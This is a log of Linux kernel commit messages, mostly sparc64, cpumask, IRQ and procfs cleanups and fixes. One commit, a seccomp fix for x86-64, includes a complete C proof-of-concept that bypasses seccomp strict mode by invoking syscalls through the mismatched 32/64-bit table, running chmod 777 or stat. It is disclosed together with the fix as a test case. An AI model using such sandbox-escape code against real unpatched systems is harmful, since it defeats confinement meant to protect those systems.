* git://git.kernel.org/pub/scm/linux/kernel/git/davem/sparc-2.6:
sparc64: Fix reset hangs on Niagara systems.
cpumask: use mm_cpumask() wrapper: sparc
cpumask: remove dangerous CPU_MASK_ALL_PTR, &CPU_MASK_ALL.: sparc
cpumask: remove the now-obsoleted pcibus_to_cpumask(): sparc
cpumask: remove cpu_coregroup_map: sparc
cpumask: prepare for iterators to only go to nr_cpu_ids/nr_cpumask_bits.: sparc
cpumask: prepare for iterators to only go to nr_cpu_ids/nr_cpumask_bits.: sparc64
cpumask: Use accessors code.: sparc64
cpumask: Use accessors code: sparc
cpumask: arch_send_call_function_ipi_mask: sparc
cpumask: Use smp_call_function_many(): sparc64
Setting ->owner as done currently (pde->owner = THIS_MODULE) is racy
as correctly noted at bug #12454. Someone can lookup entry with NULL
->owner, thus not pinning enything, and release it later resulting
in module refcount underflow.
We can keep ->owner and supply it at registration time like ->proc_fops
and ->data.
But this leaves ->owner as easy-manipulative field (just one C assignment)
and somebody will forget to unpin previous/pin current module when
switching ->owner. ->proc_fops is declared as "const" which should give
some thoughts.
->read_proc/->write_proc were just fixed to not require ->owner for
protection.
rmmod'ed directories will be empty and return "." and ".." -- no harm.
And directories with tricky enough readdir and lookup shouldn't be modular.
We definitely don't want such modular code.
Removing ->owner will also make PDE smaller.
So, let's nuke it.
Kudos to Jeff Layton for reminding about this, let's say, oversight.
http://bugzilla.kernel.org/show_bug.cgi?id=12454
Signed-off-by: Alexey Dobriyan <adobriyan@gmail.com>
Impact: cleanup
It's unused, since about 1995. So remove all initialization of it in
preparation for actually removing the field.
Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>
Acked-by: Thomas Gleixner <tglx@linutronix.de>
Everyone defines it, and only one person uses it
(arch/mips/sgi-ip27/ip27-nmi.c). So just open code it there.
Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>
Cc: linux-mips@linux-mips.org
Hypervisor versions older than version 1.6.1 cannot handle
leaving the profile counter overflow interrupt chirping
when the system does a soft reset.
So use a reboot notifier to shut off the NMI watchdog.
Signed-off-by: David S. Miller <davem@davemloft.net>
Conflicts:
arch/sparc/kernel/time_64.c
drivers/gpu/drm/drm_proc.c
Manual merge to resolve build warning due to phys_addr_t type change
on x86:
drivers/gpu/drm/drm_info.c
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Sparc was missed in commit 2b1c6bd77d
("generic compat_sys_ustat"). We definitely need it, since our
__kernel_ino_t is "unsigned long".
Signed-off-by: David S. Miller <davem@davemloft.net>
As explained by Benjamin Herrenschmidt:
> CPU 0 is running the context, task->mm == task->active_mm == your
> context. The CPU is in userspace happily churning things.
>
> CPU 1 used to run it, not anymore, it's now running fancyfsd which
> is a kernel thread, but current->active_mm still points to that
> same context.
>
> Because there's only one "real" user, mm_users is 1 (but mm_count is
> elevated, it's just that the presence on CPU 1 as active_mm has no
> effect on mm_count().
>
> At this point, fancyfsd decides to invalidate a mapping currently mapped
> by that context, for example because a networked file has changed
> remotely or something like that, using unmap_mapping_ranges().
>
> So CPU 1 goes into the zapping code, which eventually ends up calling
> flush_tlb_pending(). Your test will succeed, as current->active_mm is
> indeed the target mm for the flush, and mm_users is indeed 1. So you
> will -not- send an IPI to the other CPU, and CPU 0 will continue happily
> accessing the pages that should have been unmapped.
To fix this problem, check ->mm instead of ->active_mm, and this
means:
> So if you test current->mm, you effectively account for mm_users == 1,
> so the only way the mm can be active on another processor is as a lazy
> mm for a kernel thread. So your test should work properly as long
> as you don't have a HW that will do speculative TLB reloads into the
> TLB on that other CPU (and even if you do, you flush-on-switch-in should
> get rid of any crap here).
And therefore we should be OK.
Signed-off-by: David S. Miller <davem@davemloft.net>
arch/sparc/kernel/time_64.c: In function ‘timer_interrupt’:
arch/sparc/kernel/time_64.c:732: error: ‘struct kernel_stat’ has no member named ‘irqs’
make[1]: *** [arch/sparc/kernel/time_64.o] Error 1
Signed-off-by: David S. Miller <davem@davemloft.net>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
* 'irq-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: (32 commits)
x86: disable __do_IRQ support
sparseirq, powerpc/cell: fix unused variable warning in interrupt.c
genirq: deprecate obsolete typedefs and defines
genirq: deprecate __do_IRQ
genirq: add doc to struct irqaction
genirq: use kzalloc instead of explicit zero initialization
genirq: make irqreturn_t an enum
genirq: remove redundant if condition
genirq: remove unused hw_irq_controller typedef
irq: export remove_irq() and setup_irq() symbols
irq: match remove_irq() args with setup_irq()
irq: add remove_irq() for freeing of setup_irq() irqs
genirq: assert that irq handlers are indeed running in hardirq context
irq: name 'p' variables a bit better
irq: further clean up the free_irq() code flow
irq: refactor and clean up the free_irq() code flow
irq: clean up manage.c
irq: use GFP_KERNEL for action allocation in request_irq()
kernel/irq: fix sparse warning: make symbol static
irq: optimize init_kstat_irqs/init_copy_kstat_irqs
...
tlb_flush_mmu() needs to flush pending TLB entries before
processing the mmu_gather ->pages list.
Noticed by Benjamin Herrenschmidt.
Signed-off-by: David S. Miller <davem@davemloft.net>
When you compile kernel on Sparc64 with heap memory checking and type
"cat /proc/iomem", you get a crash, because pointers in struct
resource are uninitialized.
Most code fills struct resource with zeros, so I assume that it is
responsibility of the caller of request_resource to initialized it,
not the responsibility of request_resource functuion.
After 2.6.29 is out, there could be a check for uninitialized fields
added to request_resource to avoid crashes like this.
Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Otherwise it might interrupt switch_to() midstream and use
half-cooked register window state.
Reported-by: Chris Torek <chris.torek@windriver.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Makes code futureproof against the impending change to mm->cpu_vm_mask.
It's also a chance to use the new cpumask_ ops which take a pointer
(the older ones are deprecated, but there's no hurry for arch code).
Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>
Impact: cleanup
(Thanks to Al Viro for reminding me of this, via Ingo)
CPU_MASK_ALL is the (deprecated) "all bits set" cpumask, defined as so:
#define CPU_MASK_ALL (cpumask_t) { { ... } }
Taking the address of such a temporary is questionable at best,
unfortunately 321a8e9d (cpumask: add CPU_MASK_ALL_PTR macro) added
CPU_MASK_ALL_PTR:
#define CPU_MASK_ALL_PTR (&CPU_MASK_ALL)
Which formalizes this practice. One day gcc could bite us over this
usage (though we seem to have gotten away with it so far).
So replace everywhere which used &CPU_MASK_ALL or CPU_MASK_ALL_PTR
with the modern "cpu_all_mask" (a real struct cpumask *), and remove
CPU_MASK_ALL_PTR altogether.
Also remove the confusing and deprecated large-NR_CPUS-only
"cpu_mask_all".
Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>
Acked-by: Ingo Molnar <mingo@elte.hu>
Reported-by: Al Viro <viro@zeniv.linux.org.uk>
Cc: Al Viro <viro@zeniv.linux.org.uk>
Cc: Mike Travis <travis@sgi.com>
Impact: cleanup, futureproof
In fact, all cpumask ops will only be valid (in general) for bit
numbers < nr_cpu_ids. So use that instead of NR_CPUS in various
places.
This is always safe: no cpu number can be >= nr_cpu_ids, and
nr_cpu_ids is initialized to NR_CPUS at boot.
Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>
Signed-off-by: Mike Travis <travis@sgi.com>
Acked-by: Ingo Molnar <mingo@elte.hu>
Impact: cleanup, futureproof
In fact, all cpumask ops will only be valid (in general) for bit
numbers < nr_cpu_ids. So use that instead of NR_CPUS in various
places.
This is always safe: no cpu number can be >= nr_cpu_ids, and
nr_cpu_ids is initialized to NR_CPUS at boot.
Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>
Signed-off-by: Mike Travis <travis@sgi.com>
Acked-by: Ingo Molnar <mingo@elte.hu>
Impact: use new API
Use the accessors rather than frobbing bits directly. Most of this is
in arch code I haven't even compiled, but is straightforward.
Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>
Signed-off-by: Mike Travis <travis@sgi.com>
Impact: use new API
Use the accessors rather than frobbing bits directly. Most of this is
in arch code I haven't even compiled, but it is mostly straightforward.
Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>
Signed-off-by: Mike Travis <travis@sgi.com>
We're weaning the core code off handing cpumask's around on-stack.
This introduces arch_send_call_function_ipi_mask(), and by defining
it, the old arch_send_call_function_ipi is defined by the core code.
Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>
Impact: Use new API
Change smp_call_function_mask() callers to smp_call_function_many().
Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>
Signed-off-by: Mike Travis <travis@sgi.com>
Based upon a report by Meelis Roos.
Sparc64 SBUS and PCI controllers use a combination of IMAP and ICLR
registers to manage device interrupts.
The IMAP register contains the "valid" enable bit as well as CPU
targetting information. Whereas the ICLR register is written with
zero at the end of handling an interrupt to reset the state machine
for that interrupt to IDLE so it can be sent again.
For PCI slot and SBUS slot devices we can have multiple interrupts
sharing the same IMAP register. There are individual ICLR registers
but only one IMAP register for managing those.
We represent each shared case with individual virtual IRQs so the
generic IRQ layer thinks there is only one user of the IRQ instance.
In such shared IMAP cases this is wrong, so if there are multiple
active users then a free_irq() call will prematurely turn off the
interrupt by clearing the Valid bit in the IMAP register even though
there are other active users.
Fix this by simply doing nothing in sun4u_disable_irq() and checking
IRQF_DISABLED during IRQ dispatch.
This situation doesn't exist in the hypervisor sun4v cases, so I left
those alone.
Tested-by: Meelis Roos <mroos@linux.ee>
Signed-off-by: David S. Miller <davem@davemloft.net>
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call. A 64-bit process make a 32-bit system call with int $0x80.
In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table. The fix is simple: test TS_COMPAT
instead of TIF_IA32. Here is an example exploit:
/* test case for seccomp circumvention on x86-64
There are two failure modes: compile with -m64 or compile with -m32.
The -m64 case is the worst one, because it does "chmod 777 ." (could
be any chmod call). The -m32 case demonstrates it was able to do
stat(), which can glean information but not harm anything directly.
A buggy kernel will let the test do something, print, and exit 1; a
fixed kernel will make it exit with SIGKILL before it does anything.
*/
#define _GNU_SOURCE
#include <assert.h>
#include <inttypes.h>
#include <stdio.h>
#include <linux/prctl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <asm/unistd.h>
int
main (int argc, char **argv)
{
char buf[100];
static const char dot[] = ".";
long ret;
unsigned st[24];
if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");
#ifdef __x86_64__
assert ((uintptr_t) dot < (1UL << 32));
asm ("int $0x80 # %0 <- %1(%2 %3)"
: "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
ret = snprintf (buf, sizeof buf,
"result %ld (check mode on .!)\n", ret);
#elif defined __i386__
asm (".code32\n"
"pushl %%cs\n"
"pushl $2f\n"
"ljmpl $0x33, $1f\n"
".code64\n"
"1: syscall # %0 <- %1(%2 %3)\n"
"lretl\n"
".code32\n"
"2:"
: "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
if (ret == 0)
ret = snprintf (buf, sizeof buf,
"stat . -> st_uid=%u\n", st[7]);
else
ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
#else
# error "not this one"
#endif
write (1, buf, ret);
syscall (__NR_exit, 1);
return 2;
}
Signed-off-by: Roland McGrath <roland@redhat.com>
[ I don't know if anybody actually uses seccomp, but it's enabled in
at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
User space can request hardware and/or software time stamping.
Reporting of the result(s) via a new control message is enabled
separately for each field in the message because some of the
fields may require additional computation and thus cause overhead.
User space can tell the different kinds of time stamps apart
and choose what suits its needs.
When a TX timestamp operation is requested, the TX skb will be cloned
and the clone will be time stamped (in hardware or software) and added
to the socket error queue of the skb, if the skb has a socket
associated with it.
The actual TX timestamp will reach userspace as a RX timestamp on the
cloned packet. If timestamping is requested and no timestamping is
done in the device driver (potentially this may use hardware
timestamping), it will be done in software after the device's
start_hard_xmit routine.
Signed-off-by: Patrick Ohly <patrick.ohly@intel.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
This is based upon a report from Chris Torek and his initial patch.
From Chris's report:
--------------------
This came up in testing kgdb, using the built-in tests -- turn
on CONFIG_KGDB_TESTS, then
echo V1 > /sys/module/kgdbts/parameters/kgdbts
-- but it would affect using kgdb if you were debugging and looking
at bad pointers.
--------------------
When we get a copy_{from,to}_user() request and the %asi is set to
something other than ASI_AIUS (which is userspace) then we branch off
to a routine called memcpy_user_stub(). It just does a straight
memcpy since we are copying from kernel to kernel in this case.
The logic was that since source and destination are both kernel
pointers we don't need to have exception checks.
But for what probe_kernel_{read,write}() is trying to do, we have to
have the checks, otherwise things like kgdb bad kernel pointer
accesses don't do the right thing.
Signed-off-by: David S. Miller <davem@davemloft.net>
This is an implementation of a suggestion made by Chris Torek:
--------------------
Something else I noticed in passing: the EX and EX_LD/EX_ST macros
scattered throughout the various .S files make a fair bit of .fixup
code, all of which does the same thing. At the cost of one symbol
in copy_in_user.S, you could just have one common two-instruction
retl-and-mov-1 fixup that they all share.
--------------------
The following is with a defconfig build:
text data bss dec hex filename
3972767 344024 584449 4901240 4ac978 vmlinux.orig
3968887 344024 584449 4897360 4aba50 vmlinux
Signed-off-by: David S. Miller <davem@davemloft.net>
They can't be used for profiling and NMI watchdog currently
since they lack the counter overflow interrupt.
Signed-off-by: David S. Miller <davem@davemloft.net>
This builds upon eeabac7386
("sparc64: Validate kernel generated fault addresses on sparc64.")
Upon further consideration, we actually should never see any
fault addresses for 32-bit tasks with the upper 32-bits set.
If it does every happen, by definition it's a bug. Whatever
context created that fault would only have that fault satisfied
if we used the full 64-bit address. If we truncate it, we'll
always fault the wrong address and we'll always loop faulting
forever.
So catch such conditions and mark them as errors always. Log
the error and fail the fault.
Signed-off-by: David S. Miller <davem@davemloft.net>
In order to handle all of the cases of address calculation overflow
properly, we run sparc 32-bit processes in "address masking" mode
when running on a 64-bit kernel.
Address masking mode zeros out the top 32-bits of the address
calculated for every load and store instruction.
However, when we're in privileged mode we have to run with that
address masking mode disabled even when accessing userspace from
the kernel.
To "simulate" the address masking mode we clear the top-bits by
hand for 32-bit processes in the fault handler.
It is the responsibility of code in the compat layer to properly
zero extend addresses used to access userspace. If this isn't
followed properly we can get into a fault loop.
Say that the user address is 0xf0000000 but for whatever reason
the kernel code sign extends this to 64-bit, and then the kernel
tries to access the result.
In such a case we'll fault on address 0xfffffffff0000000 but the fault
handler will process that fault as if it were to address 0xf0000000.
We'll loop faulting forever because the fault never gets satisfied.
So add a check specifically for this case, when the kernel is faulting
on a user address access and the addresses don't match up.
This code path is sufficiently slow path, and this bug is sufficiently
painful to diagnose, that this kind of bug check is warranted.
Signed-off-by: David S. Miller <davem@davemloft.net>
When we're idling in NOHZ mode, timer interrupts are not running.
Evidence of processing timer interrupts is what the NMI watchdog
uses to determine if the CPU is stuck.
On Niagara, we'll yield the cpu. This will make the cpu, at
worst, hang out in the hypervisor until an interrupt arrives.
This will prevent the NMI watchdog timer from firing.
However on non-Niagara we just loop executing instructions
which will cause the NMI watchdog to keep firing. It won't
see timer interrupts happening so it will think the cpu is
stuck.
Fix this by touching the NMI watchdog in the cpu idle loop
on non-Niagara machines.
Signed-off-by: David S. Miller <davem@davemloft.net>
